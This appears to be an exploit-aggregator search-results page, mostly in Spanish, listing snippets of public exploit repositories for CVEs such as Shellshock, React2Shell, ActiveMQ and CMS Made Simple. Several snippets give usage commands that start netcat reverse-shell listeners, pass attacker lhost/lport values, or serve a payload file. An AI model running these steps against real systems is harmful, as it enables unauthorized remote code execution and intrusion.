536 matches found
CVE-2014-6271
CVE-2014-6271 Shellshock Exploit en Python Una implementación limpia, eficiente e interactiva en Python diseñada para probar la vulnerabilidad Shellshock CVE-2014-6271 mediante inyección de variables de entorno HTTP. 📝 Descripción Shellshock CVE-2014-6271 es una vulnerabilidad crítica de segurida...
CVE-2025-32433-exploit
CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...
CVE-2025-55182
Exploit CVE-2025-55182 Un sencillo script de python que explota la vulnerabilidad en React Server Components en CVE-2025-55182 inyectando un shell en la aplicación. El script está probado en Next.js versión 16.0.6. Uso Clona el repositorio git clone https://github.com/ahmedshamsddin/CVE-2025-5518...
netsec-project
Nombre del Proyecto Script de ataque CVE-2021-22555 Descripción Este proyecto es una herramienta de ataque automático implementada en Python. Realiza varias pruebas de seguridad y ataques en un sistema objetivo que ejecuta Ubuntu 20.04 con la versión del kernel 5.8.0-48. La herramienta incluye...
CVE-2023-27997-POC
Uso: python3 cve-2022-42475.py rhost rport lhost lport Ejemplo: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 Descargo de responsabilidad: Este proyecto está creado únicamente con fines educativos y de pruebas éticas. El uso de esta herramienta para atacar objetivos sin...
CVE-2023-46604-RCE
CVE-2023-46604-RCE Implementación en Python de la ejecución remota de código no autenticada en Apache ActiveMQ Configuración y Explotación nc -lvnp 4444 - Iniciar listener python3 -m http.server 8080 - Servir poc.xml que contiene tu payload python3 CVE-2023-46604-RCE.py -i -p -u...
CVE-2021-21389
Uso 1. Configura el entorno vulnerable de wordpress y buddypress construyendo docker. 2. Construye y ejecuta el contenedor mariaDB. 3. Haz que los dos contenedores se ejecuten en la misma red. ej: docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp docker...
thm_steelmountain_CVE-2014-6287
thmsteelmountainCVE-2014-6287 una versión en python3 del exploit escrito para CVE-2014-6287. Útil para completar la sala "Steel Mountain" en TryHackMe.com sin el uso de metasploit...
React2Shell_Exploit
React2ShellExploit CVE-2025-55182 He creado un exploit simple en Python para react2shell CVE-2025-55182 USO 1. Guarda el script: Guarda el código anterior como exploit.py. 2. Actualiza los hosts: Asegúrate de que reactor.htb se resuelva a la IP objetivo en tu archivo /etc/hosts. echo " reactor.ht...
CVE-2021-21425-RCE
esta es mi versión, encontré muchas en internet pero son demasiado malas USO python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 espera... en 60 segundos obtendrás una shell en tu listener...
CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit
CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs El exploit fue corregido para soportar python 3 CVE-2019-9053 Fuente de explotación original: https://www.exploit-db.com/exploits/46635 Posible error y su corrección Traceback most recent call last: File "46635.py", line 12, in fr...
Exploit for CVE-2026-19949
CVE-2026-19949 Donate Help maintain this p...
SmarterMail-CVE-2026-24423-
SmarterMail ConnectToHub RCE A Python-based exploit for CVE-2026-24423 , an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's ConnectToHub functionality. Intended use: Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only...
CVE-2015-1579
CVE-2015-1579 - WP Revslider AFD Exploit: Wordpress Slider Revolution Responsive = 4.1.4: root@kitploit: Fecha de vulnerabilidad: 24/07/2014 Autor del exploit: anarc0der Versión: Wordpress Slider Revolution Responsive = 4.1.4 CVE : CVE-2015-1579 Cómo usar: root@kitploit: python3 xpl.py...
Exploit for CVE-2015-3246
CVE-2015-3246 and More cve-2015-3245, cve-2015-3246, cve-2015...
Exploit for CVE-2026-19914
cve-id Donate Help maintain this project...
📄 OpenCTI 7.260325.0 Authorization Bypass
A proof of concept exploit for an authorization bypass vulnerability in OpenCTI version 7.260325.0. The vulnerability affects OpenCTI versions prior to 7.260326.0 and allows a low-privileged authenticated user with the KNOWLEDGEKNUPDATE capability to bypass confidence-level and object-marking...
Exploit for Deserialization of Untrusted Data in Facebook React
React2ShellExploit CVE-2025-55182 I created simple react2she...
📄 ProjeQtor 12.4.3 SQL Injection
This Python script automates exploitation of an SQL injection vulnerability in a ProjeQtor login interface. Version 12.4.3 is affected. ================================================================================================================================== | Title : ProjeQtor 12.4.3...